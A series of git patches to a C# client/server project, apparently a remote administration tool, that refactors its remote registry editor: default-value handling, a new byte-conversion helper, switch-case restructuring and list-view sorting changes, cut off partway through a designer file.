b/Client/Core/Commands/RegistryHandler.cs index 2fcdb29e1..fe4df1d1c 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -7,6 +7,7 @@ using xClient.Core.Extensions; using Microsoft.Win32; using System.Threading; +using xClient.Core.Helper; namespace xClient.Core.Commands { @@ -64,7 +65,7 @@ public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.Do } responsePacket.ErrorMsg = errorMsg; - responsePacket.Match = new RegSeekerMatch(newKeyName, new RegValueData[] { }, 0); + responsePacket.Match = new RegSeekerMatch(newKeyName, RegistryKeyHelper.GetDefaultValues(), 0); responsePacket.ParentPath = packet.ParentPath; responsePacket.Execute(client); diff --git a/Client/Core/Helper/RegistryKeyHelper.cs b/Client/Core/Helper/RegistryKeyHelper.cs index a7b297a8b..141bdf287 100644 --- a/Client/Core/Helper/RegistryKeyHelper.cs +++ b/Client/Core/Helper/RegistryKeyHelper.cs @@ -1,11 +1,16 @@ using System; +using System.Linq; using Microsoft.Win32; using xClient.Core.Extensions; +using xClient.Core.Registry; +using System.Collections.Generic; namespace xClient.Core.Helper { public static class RegistryKeyHelper { + private static string DEFAULT_VALUE = String.Empty; + /// /// Adds a value to the registry key. /// @@ -77,5 +82,44 @@ public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string return false; } } + + /// + /// Checks if the provided value is the default value + /// + /// The name of the value + /// True if default value, else False + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + /// + /// Adds the default value to the list of values and returns them as an array. + /// If default value already exists this function will only return the list as an array. + /// + /// The list with the values for with the default value should be added to + /// Array with all of the values including the default value + public static RegValueData[] AddDefaultValue(List values) + { + if(!values.Any(value => IsDefaultValue(value.Name))) + { + values.Add(GetDefaultValue()); + } + return values.ToArray(); + } + + /// + /// Gets the default registry values + /// + /// A array with the default registry values + public static RegValueData[] GetDefaultValues() + { + return new RegValueData[] { GetDefaultValue() }; + } + + private static RegValueData GetDefaultValue() + { + return new RegValueData(DEFAULT_VALUE, RegistryValueKind.String, null); + } } } diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs index d1a8ab29f..7b51428a8 100644 --- a/Client/Core/Registry/RegistryEditor.cs +++ b/Client/Core/Registry/RegistryEditor.cs @@ -4,6 +4,7 @@ using System.Linq; using System.Text; using xClient.Core.Extensions; +using xClient.Core.Helper; namespace xClient.Core.Registry { @@ -308,7 +309,6 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke { try { - RegistryKey key = GetWritableRegistryKey(keyPath); //Invalid can not open key @@ -369,8 +369,8 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s return false; } - //Value does not exist - if (!key.ContainsValue(value.Name)) + //Is not default value and does not exist + if (!RegistryKeyHelper.IsDefaultValue(value.Name) && !key.ContainsValue(value.Name)) { errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath; return false; diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs index 9254bb325..e5027c395 100644 --- a/Client/Core/Registry/RegistrySeeker.cs +++ b/Client/Core/Registry/RegistrySeeker.cs @@ -5,6 +5,7 @@ using Microsoft.Win32; using System.Threading; using xClient.Core.Extensions; +using xClient.Core.Helper; namespace xClient.Core.Registry { @@ -123,11 +124,11 @@ private void ProcessKey(RegistryKey key, string keyName) values.Add(new RegValueData(valueName, valueType, valueData)); } - AddMatch(keyName, values.ToArray(), key.SubKeyCount); + AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount); } else { - AddMatch(keyName, new RegValueData[]{}, 0); + AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); } } @@ -139,9 +140,9 @@ private void AddMatch(string key, RegValueData[] values, int subkeycount) matches.Add(match); } - public static RegistryKey GetRootKey(string subkey_fullpath) + public static RegistryKey GetRootKey(string subkeyFullPath) { - string[] path = subkey_fullpath.Split('\\'); + string[] path = subkeyFullPath.Split('\\'); try { switch (path[0]) // <== root; diff --git a/Server/Controls/RegistryValueLstItem.cs b/Server/Controls/RegistryValueLstItem.cs index a164e5d0a..fae8101cd 100644 --- a/Server/Controls/RegistryValueLstItem.cs +++ b/Server/Controls/RegistryValueLstItem.cs @@ -4,6 +4,8 @@ using System.Linq; using System.Text; using System.Windows.Forms; +using xServer.Core.Extensions; +using xServer.Core.Registry; namespace xServer.Controls { @@ -26,19 +28,15 @@ public int Compare(object x, object y) public class RegistryValueLstItem : ListViewItem { - private string _regName { get; set; } private string _type { get; set; } private string _data { get; set; } public string RegName { - get { return _regName; } - set - { - _regName = value; - //Handle if the given value is for a null registry value (default value) - //Display (Default) not empty string - this.Name = String.IsNullOrEmpty(value) ? "(Default)" : value; - this.Text = String.IsNullOrEmpty(value) ? "(Default)" : value; + get { return this.Name; } + set + { + this.Name = value; + this.Text = RegValueHelper.GetName(value); } } public string Type { @@ -46,7 +44,13 @@ public string Type { set { _type = value; - this.ImageIndex = GetRegistryValueImgIndex(value); + + if (this.SubItems.Count < 2) + this.SubItems.Add(_type); + else + this.SubItems[1].Text = _type; + + this.ImageIndex = GetRegistryValueImgIndex(_type); } } @@ -54,23 +58,21 @@ public string Data { get { return _data; } set { - //Hardcoded that the data is the second column - if (this.SubItems.Count == 3) - { - this.SubItems[2].Text = value; - _data = value; - } + _data = value; + + if (this.SubItems.Count < 3) + this.SubItems.Add(_data); + else + this.SubItems[2].Text = _data; } } - public RegistryValueLstItem(string name, string type, string data) : + public RegistryValueLstItem(RegValueData value) : base() { - RegName = name; - this.SubItems.Add(type); - Type = type; - this.SubItems.Add(data); - Data = data; + RegName = value.Name; + Type = value.Kind.RegistryTypeToString(); + Data = value.Kind.RegistryTypeToString(value.Data); } private int GetRegistryValueImgIndex(string type) diff --git a/Server/Core/Extensions/RegistryKeyExtensions.cs b/Server/Core/Extensions/RegistryKeyExtensions.cs index 7735bbe89..1bc13ba2a 100644 --- a/Server/Core/Extensions/RegistryKeyExtensions.cs +++ b/Server/Core/Extensions/RegistryKeyExtensions.cs @@ -10,6 +10,9 @@ public static class RegistryKeyExtensions { public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData) { + if (valueData == null) + return "(value not set)"; + switch (valueKind) { case RegistryValueKind.Binary: diff --git a/Server/Core/Registry/RegValueHelper.cs b/Server/Core/Registry/RegValueHelper.cs new file mode 100644 index 000000000..c330728ef --- /dev/null +++ b/Server/Core/Registry/RegValueHelper.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xServer.Core.Registry +{ + public class RegValueHelper + { + private static string DEFAULT_REG_VALUE = "(Default)"; + + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + public static string GetName(string valueName) + { + return IsDefaultValue(valueName) ? DEFAULT_REG_VALUE : valueName; + } + } +} diff --git a/Server/Forms/FrmRegValueEditBinary.cs b/Server/Forms/FrmRegValueEditBinary.cs index 3ec2509ac..ed10589d7 100644 --- a/Server/Forms/FrmRegValueEditBinary.cs +++ b/Server/Forms/FrmRegValueEditBinary.cs @@ -34,9 +34,12 @@ public FrmRegValueEditBinary(string keyPath, RegValueData value, Client c) InitializeComponent(); - this.valueNameTxtBox.Text = value.Name; + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); - if (value.Kind == Microsoft.Win32.RegistryValueKind.Binary) + if (value.Data == null){ + hexEditor.HexTable = new byte[] { }; + } + else if (value.Kind == Microsoft.Win32.RegistryValueKind.Binary) { hexEditor.HexTable = (byte[])value.Data; } diff --git a/Server/Forms/FrmRegValueEditString.cs b/Server/Forms/FrmRegValueEditString.cs index d06bb09ee..94dd13322 100644 --- a/Server/Forms/FrmRegValueEditString.cs +++ b/Server/Forms/FrmRegValueEditString.cs @@ -28,13 +28,13 @@ public FrmRegValueEditString(string keyPath, RegValueData value, Client c) InitializeComponent(); - this.valueNameTxtBox.Text = value.Name; - this.valueDataTxtBox.Text = value.Data.ToString(); + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + this.valueDataTxtBox.Text = value.Data == null ? "" : value.Data.ToString(); } private void okButton_Click(object sender, EventArgs e) { - if (valueDataTxtBox.Text != _value.Data.ToString()) + if (_value.Data == null || valueDataTxtBox.Text != _value.Data.ToString()) { object valueData = valueDataTxtBox.Text; new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 1acd37a47..7d948de8a 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -25,8 +25,6 @@ public partial class FrmRegistryEditor : Form private const string PRIVILEGE_WARNING = "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!"; - private const string DEFAULT_REG_VALUE = "(Default)"; - #endregion public FrmRegistryEditor(Client c) @@ -247,9 +245,7 @@ public void CreateValue(string keyPath, RegValueData value) if (tvRegistryDirectory.SelectedNode == key) { - string kind = value.Kind.RegistryTypeToString(); - string data = value.Kind.RegistryTypeToString(value.Data); - RegistryValueLstItem item = new RegistryValueLstItem(value.Name, kind, data); + RegistryValueLstItem item = new RegistryValueLstItem(value); lstRegistryValues.Items.Add(item); //Unselect all lstRegistryValues.SelectedIndices.Clear(); @@ -273,19 +269,34 @@ public void DeleteValue(string keyPath, string valueName) { lstRegistryValues.Invoke((MethodInvoker)delegate { - //Remove the values that have the specified name - key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); - - if (tvRegistryDirectory.SelectedNode == key) + if (!RegValueHelper.IsDefaultValue(valueName)) { - valueName = String.IsNullOrEmpty(valueName) ? DEFAULT_REG_VALUE : valueName; - lstRegistryValues.Items.RemoveByKey(valueName); + //Remove the values that have the specified name + key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); + + if (tvRegistryDirectory.SelectedNode == key) + { + lstRegistryValues.Items.RemoveByKey(valueName); + } } - else + else //Handle delete of default value { - tvRegistryDirectory.SelectedNode = key; + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == valueName); + regValue.Data = null; + + if(tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == valueName); + if (valueItem != null) + { + valueItem.Data = regValue.Kind.RegistryTypeToString(null); + } + } } + tvRegistryDirectory.SelectedNode = key; + }); } } @@ -303,7 +314,8 @@ public void RenameValue(string keyPath, string oldName, string newName) if (tvRegistryDirectory.SelectedNode == key) { - var valueItem = lstRegistryValues.Items[oldName] as RegistryValueLstItem; + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == oldName); if (valueItem != null) { valueItem.RegName = newName; @@ -330,12 +342,11 @@ public void ChangeValue(string keyPath, RegValueData value) if (tvRegistryDirectory.SelectedNode == key) { - //Make sure if it is a default value - string name = String.IsNullOrEmpty(value.Name) ? DEFAULT_REG_VALUE : value.Name; - var valueItem = lstRegistryValues.Items[name] as RegistryValueLstItem; + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == value.Name); if (valueItem != null) { - valueItem.Data = value.Kind.RegistryTypeToString(value.Data);; + valueItem.Data = value.Kind.RegistryTypeToString(value.Data); } } else @@ -357,6 +368,7 @@ private void UpdateLstRegistryValues(TreeNode node) private void PopulateLstRegistryValues(RegValueData[] values) { + lstRegistryValues.BeginUpdate(); lstRegistryValues.Items.Clear(); // Make sure that the passed values are usable @@ -364,12 +376,11 @@ private void PopulateLstRegistryValues(RegValueData[] values) { foreach (var value in values) { - string kind = value.Kind.RegistryTypeToString(); - string data = value.Kind.RegistryTypeToString(value.Data); - RegistryValueLstItem item = new RegistryValueLstItem(value.Name, kind, data); + RegistryValueLstItem item = new RegistryValueLstItem(value); lstRegistryValues.Items.Add(item); } } + lstRegistryValues.EndUpdate(); } #endregion @@ -488,7 +499,7 @@ private void CreateListViewMenuStrip() this.modifyToolStripMenuItem.Enabled = this.modifyBinaryDataToolStripMenuItem.Enabled = lstRegistryValues.SelectedItems.Count == 1; - this.renameToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1 && !lstRegistryValues.SelectedItems.ContainsKey(DEFAULT_REG_VALUE); + this.renameToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name); this.deleteToolStripMenuItem1.Enabled = tvRegistryDirectory.SelectedNode != null && lstRegistryValues.SelectedItems.Count > 0; } @@ -763,7 +774,7 @@ private bool GetDeleteState() private bool GetRenameState() { if (lstRegistryValues.Focused) - return lstRegistryValues.SelectedItems.Count == 1 && !lstRegistryValues.SelectedItems.ContainsKey(DEFAULT_REG_VALUE); + return lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name); else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null) return tvRegistryDirectory.SelectedNode.Parent != null; return false; @@ -791,7 +802,7 @@ private Form GetEditForm(string keyPath, RegValueData value, RegistryValueKind v private void CreateModifyForm(bool isBinary) { string keyPath = tvRegistryDirectory.SelectedNode.FullPath; - string name = lstRegistryValues.SelectedItems[0].Name == DEFAULT_REG_VALUE ? "" : lstRegistryValues.SelectedItems[0].Name; + string name = lstRegistryValues.SelectedItems[0].Name; RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); RegistryValueKind kind = isBinary ? RegistryValueKind.Binary : value.Kind; diff --git a/Server/Server.csproj b/Server/Server.csproj index a06b8b63a..270bdbc9d 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -185,6 +185,7 @@ + From ea2584380aa5e4c71655909678b4299da6006ce7 Mon Sep 17 00:00:00 2001 From: LjungErik Date: Sun, 24 Apr 2016 11:14:28 +0200 Subject: [PATCH 035/229] Restructured the code in 'FrmRegValueEditBinary * Moved the convertion code in 'FrmRegValueEditBinary' to new class 'ByteConverter' * Converted if-statements in 'FrmRegValueEditBinary' to switch-cases --- Server/Core/Utilities/ByteConverter.cs | 136 ++++++++++++++++++++ Server/Forms/FrmRegValueEditBinary.cs | 164 ++++++------------------- Server/Server.csproj | 1 + 3 files changed, 174 insertions(+), 127 deletions(-) create mode 100644 Server/Core/Utilities/ByteConverter.cs diff --git a/Server/Core/Utilities/ByteConverter.cs b/Server/Core/Utilities/ByteConverter.cs new file mode 100644 index 000000000..2272ccfea --- /dev/null +++ b/Server/Core/Utilities/ByteConverter.cs @@ -0,0 +1,136 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xServer.Core.Utilities +{ + public class ByteConverter + { + private static byte NULL_BYTE = byte.MinValue; + + public static byte[] GetBytes(int value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(long value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(uint value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(ulong value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(string value) + { + return StringToBytes(value); + } + + public static byte[] GetBytes(string[] value) + { + return StringArrayToBytes(value); + } + + public static int ToInt32(byte[] bytes) + { + return BitConverter.ToInt32(bytes, 0); + } + + public static long ToInt64(byte[] bytes) + { + return BitConverter.ToInt64(bytes, 0); + } + + public static uint ToUInt32(byte[] bytes) + { + return BitConverter.ToUInt32(bytes, 0); + } + + public static ulong ToUInt64(byte[] bytes) + { + return BitConverter.ToUInt64(bytes, 0); + } + + public static string ToString(byte[] bytes) + { + return BytesToString(bytes); + } + + public static string[] ToStringArray(byte[] bytes) + { + return BytesToStringArray(bytes); + } + + private static byte[] GetNullBytes() + { + //Null bytes: 00 00 + return new byte[] { NULL_BYTE, NULL_BYTE }; + } + + private static byte[] StringToBytes(string value) + { + byte[] bytes = new byte[value.Length * sizeof(char)]; + Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length); + return bytes; + } + + private static byte[] StringArrayToBytes(string[] strings) + { + List bytes = new List(); + + foreach(string str in strings) + { + bytes.AddRange(StringToBytes(str)); + bytes.AddRange(GetNullBytes()); + } + + return bytes.ToArray(); + } + + private static string BytesToString(byte[] bytes) + { + int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char)); + char[] chars = new char[nrChars]; + Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length); + return new string(chars); + } + + private static string[] BytesToStringArray(byte[] bytes) + { + List strings = new List(); + + int i = 0; + StringBuilder strBuilder = new StringBuilder(bytes.Length); + while (i < bytes.Length) + { + //Holds the number of nulls (3 nulls indicated end of a string) + int nullcount = 0; + while (i < bytes.Length && nullcount < 3) + { + if (bytes[i] == NULL_BYTE) + { + nullcount++; + } + else + { + strBuilder.Append(Convert.ToChar(bytes[i])); + nullcount = 0; + } + i++; + } + strings.Add(strBuilder.ToString()); + strBuilder.Clear(); + } + + return strings.ToArray(); + } + } +} diff --git a/Server/Forms/FrmRegValueEditBinary.cs b/Server/Forms/FrmRegValueEditBinary.cs index ed10589d7..d25756720 100644 --- a/Server/Forms/FrmRegValueEditBinary.cs +++ b/Server/Forms/FrmRegValueEditBinary.cs @@ -1,14 +1,15 @@ using System; using System.Collections.Generic; -using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; +using Microsoft.Win32; using xServer.Core.Networking; using xServer.Core.Registry; +using xServer.Core.Utilities; namespace xServer.Forms { @@ -36,37 +37,33 @@ public FrmRegValueEditBinary(string keyPath, RegValueData value, Client c) this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); - if (value.Data == null){ - hexEditor.HexTable = new byte[] { }; - } - else if (value.Kind == Microsoft.Win32.RegistryValueKind.Binary) - { - hexEditor.HexTable = (byte[])value.Data; - } - else if (value.Kind == Microsoft.Win32.RegistryValueKind.DWord) + if(value.Data == null) { - hexEditor.HexTable = BitConverter.GetBytes((uint)(int)value.Data); - } - else if (value.Kind == Microsoft.Win32.RegistryValueKind.QWord) - { - hexEditor.HexTable = BitConverter.GetBytes((ulong)(long)value.Data); - } - else if (value.Kind == Microsoft.Win32.RegistryValueKind.String || value.Kind == Microsoft.Win32.RegistryValueKind.ExpandString) - { - //Convert string to bytes - byte[] bytes = new byte[value.Data.ToString().Length * sizeof(char)]; - Buffer.BlockCopy(value.Data.ToString().ToCharArray(), 0, bytes, 0, bytes.Length); - hexEditor.HexTable = bytes; + hexEditor.HexTable = new byte[] { }; } - else if (value.Kind == Microsoft.Win32.RegistryValueKind.MultiString) - { - byte[] bytes = MultiStringToBytes((string[])value.Data); - hexEditor.HexTable = bytes; + else { + switch(value.Kind) + { + case RegistryValueKind.Binary: + hexEditor.HexTable = (byte[])value.Data; + break; + case RegistryValueKind.DWord: + hexEditor.HexTable = ByteConverter.GetBytes((uint)(int)value.Data); + break; + case RegistryValueKind.QWord: + hexEditor.HexTable = ByteConverter.GetBytes((ulong)(long)value.Data); + break; + case RegistryValueKind.MultiString: + hexEditor.HexTable = ByteConverter.GetBytes((string[])value.Data); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + hexEditor.HexTable = ByteConverter.GetBytes(value.Data.ToString()); + break; + } } } - #region Help function - private object GetData() { byte[] bytes = hexEditor.HexTable; @@ -74,128 +71,41 @@ private object GetData() { try { - if (_value.Kind == Microsoft.Win32.RegistryValueKind.Binary) + switch(_value.Kind) { - return bytes; - } - else if (_value.Kind == Microsoft.Win32.RegistryValueKind.DWord) - { - uint unsignedValue = BitConverter.ToUInt32(hexEditor.HexTable, 0); - return (int)unsignedValue; - } - else if (_value.Kind == Microsoft.Win32.RegistryValueKind.QWord) - { - ulong unsignedValue = BitConverter.ToUInt64(hexEditor.HexTable, 0); - return (long)unsignedValue; - } - else if (_value.Kind == Microsoft.Win32.RegistryValueKind.String || _value.Kind == Microsoft.Win32.RegistryValueKind.ExpandString) - { - //Use ceiling function to make sure that the bytes fit in the char - int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char)); - char[] chars = new char[nrChars]; - Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length); - return new string(chars); - } - else if (_value.Kind == Microsoft.Win32.RegistryValueKind.MultiString) - { - string[] strings = BytesToMultiString(hexEditor.HexTable); - return strings; + case RegistryValueKind.Binary: + return bytes; + case RegistryValueKind.DWord: + return (int)ByteConverter.ToUInt32(bytes); + case RegistryValueKind.QWord: + return (long)ByteConverter.ToUInt64(bytes); + case RegistryValueKind.MultiString: + return ByteConverter.ToStringArray(bytes); + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ByteConverter.ToString(bytes); } } catch { - string msg = INVALID_BINARY_ERROR; - ShowWarning(msg, "Warning"); - return null; + ShowWarning(INVALID_BINARY_ERROR, "Warning"); } } return null; } - #endregion - - #region Ok and Cancel button - private void okButton_Click(object sender, EventArgs e) { object valueData = GetData(); if (valueData != null) - { new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - } else - { DialogResult = DialogResult.None; - } } - #endregion - - #region Misc - private void ShowWarning(string msg, string caption) { MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning); } - - /// - /// Converts the given string array to - /// a byte array. - /// - /// string array - /// - private byte[] MultiStringToBytes(string[] strings) - { - List ret = new List(); - - foreach (string str in strings) - { - byte[] bytes = new byte[str.Length * sizeof(char)]; - Buffer.BlockCopy(str.ToString().ToCharArray(), 0, bytes, 0, bytes.Length); - ret.AddRange(bytes); - //Add nullbytes - ret.Add(byte.MinValue); - ret.Add(byte.MinValue); - } - return ret.ToArray(); - } - - /// - /// Converts a array of bytes to - /// a string array - /// - /// array of bytes - /// - private string[] BytesToMultiString(byte[] bytes) - { - List ret = new List(); - - int i = 0; - while (i < bytes.Length) - { - //Holds the number of nulls (3 nulls indicated end of a string) - int nullcount = 0; - string str = ""; - while (i < bytes.Length && nullcount < 3) - { - //Null byte - if (bytes[i] == byte.MinValue) - { - nullcount++; - } - else - { - str += Convert.ToChar(bytes[i]); - nullcount = 0; - } - i++; - } - ret.Add(str); - } - - return ret.ToArray(); - } - - #endregion } } diff --git a/Server/Server.csproj b/Server/Server.csproj index 270bdbc9d..490995bc8 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -186,6 +186,7 @@ + From 560aa1e9d203aa432f55e40fece807a2d29edc52 Mon Sep 17 00:00:00 2001 From: LjungErik Date: Sun, 24 Apr 2016 11:23:21 +0200 Subject: [PATCH 036/229] Fix problem with registry value sorting * Removed implemented sorting on ListView * Added sorting of values before populating ListView * Small changes to improve code structure --- Server/Controls/RegistryValueLstItem.cs | 17 --- Server/Forms/FrmRegValueEditMultiString.cs | 3 - Server/Forms/FrmRegValueEditWord.cs | 20 +--- Server/Forms/FrmRegistryEditor.Designer.cs | 120 ++++++++++----------- Server/Forms/FrmRegistryEditor.cs | 84 ++++----------- Server/Forms/FrmRegistryEditor.resx | 4 +- 6 files changed, 89 insertions(+), 159 deletions(-) diff --git a/Server/Controls/RegistryValueLstItem.cs b/Server/Controls/RegistryValueLstItem.cs index fae8101cd..68c89cf05 100644 --- a/Server/Controls/RegistryValueLstItem.cs +++ b/Server/Controls/RegistryValueLstItem.cs @@ -9,23 +9,6 @@ namespace xServer.Controls { - //Comparer for comparing registry values (listview) - //Used to sort the elements in the listview according to the RegName property - public class RegistryValueListItemComparer : IComparer - { - public RegistryValueListItemComparer() { } - - public int Compare(object x, object y) - { - if (x.GetType() == typeof(RegistryValueLstItem) && y.GetType() == typeof(RegistryValueLstItem)) - { - //Compare if the names are the same - return String.Compare(((RegistryValueLstItem)x).RegName, ((RegistryValueLstItem)y).RegName); - } - return -1; - } - } - public class RegistryValueLstItem : ListViewItem { private string _type { get; set; } diff --git a/Server/Forms/FrmRegValueEditMultiString.cs b/Server/Forms/FrmRegValueEditMultiString.cs index 472ea0e4b..2a9a3a631 100644 --- a/Server/Forms/FrmRegValueEditMultiString.cs +++ b/Server/Forms/FrmRegValueEditMultiString.cs @@ -31,8 +31,6 @@ public FrmRegValueEditMultiString(string keyPath, RegValueData value, Client c) this.valueDataTxtBox.Text = String.Join("\r\n",((string[])value.Data)); } - #region Ok and Cancel button - private void okButton_Click(object sender, EventArgs e) { string[] valueData = valueDataTxtBox.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); @@ -40,6 +38,5 @@ private void okButton_Click(object sender, EventArgs e) new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); } - #endregion } } diff --git a/Server/Forms/FrmRegValueEditWord.cs b/Server/Forms/FrmRegValueEditWord.cs index 63fec2f52..cf31cced6 100644 --- a/Server/Forms/FrmRegValueEditWord.cs +++ b/Server/Forms/FrmRegValueEditWord.cs @@ -52,17 +52,6 @@ public FrmRegValueEditWord(string keyPath, RegValueData value, Client c) } } - #region Helpfunctions - - private DialogResult ShowWarning(string msg, string caption) - { - return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); - } - - #endregion - - #region RadioButton Actions - private void radioHex_CheckboxChanged(object sender, EventArgs e) { if (valueDataTxtBox.IsHexNumber == radioHexa.Checked) @@ -74,10 +63,6 @@ private void radioHex_CheckboxChanged(object sender, EventArgs e) radioDecimal.Checked = true; } - #endregion - - #region OK and Cancel Buttons - private void okButton_Click(object sender, EventArgs e) { if(valueDataTxtBox.IsConversionValid() || IsOverridePossible()) @@ -97,7 +82,10 @@ private void okButton_Click(object sender, EventArgs e) } } - #endregion + private DialogResult ShowWarning(string msg, string caption) + { + return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + } private bool IsOverridePossible() { diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Server/Forms/FrmRegistryEditor.Designer.cs index 29bdaa431..1995ed5cf 100644 --- a/Server/Forms/FrmRegistryEditor.Designer.cs +++ b/Server/Forms/FrmRegistryEditor.Designer.cs @@ -32,12 +32,7 @@ private void InitializeComponent() System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegistryEditor)); this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); this.splitContainer = new System.Windows.Forms.SplitContainer(); - this.tvRegistryDirectory = new xServer.Controls.RegistryTreeView(); this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components); - this.lstRegistryValues = new xServer.Controls.AeroListView(); - this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components); this.statusStrip = new System.Windows.Forms.StatusStrip(); this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); @@ -89,6 +84,11 @@ private void InitializeComponent() this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.tvRegistryDirectory = new xServer.Controls.RegistryTreeView(); + this.lstRegistryValues = new xServer.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.tableLayoutPanel.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); this.splitContainer.Panel1.SuspendLayout(); @@ -136,65 +136,12 @@ private void InitializeComponent() this.splitContainer.SplitterDistance = 259; this.splitContainer.TabIndex = 0; // - // tvRegistryDirectory - // - this.tvRegistryDirectory.Dock = System.Windows.Forms.DockStyle.Fill; - this.tvRegistryDirectory.HideSelection = false; - this.tvRegistryDirectory.ImageIndex = 0; - this.tvRegistryDirectory.ImageList = this.imageRegistryDirectoryList; - this.tvRegistryDirectory.Location = new System.Drawing.Point(0, 0); - this.tvRegistryDirectory.Name = "tvRegistryDirectory"; - this.tvRegistryDirectory.SelectedImageIndex = 0; - this.tvRegistryDirectory.Size = new System.Drawing.Size(259, 508); - this.tvRegistryDirectory.TabIndex = 0; - this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); - this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); - this.tvRegistryDirectory.BeforeSelect += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeSelect); - this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick); - this.tvRegistryDirectory.KeyUp += new System.Windows.Forms.KeyEventHandler(this.tvRegistryDirectory_KeyUp); - // // imageRegistryDirectoryList // this.imageRegistryDirectoryList.ImageStream = 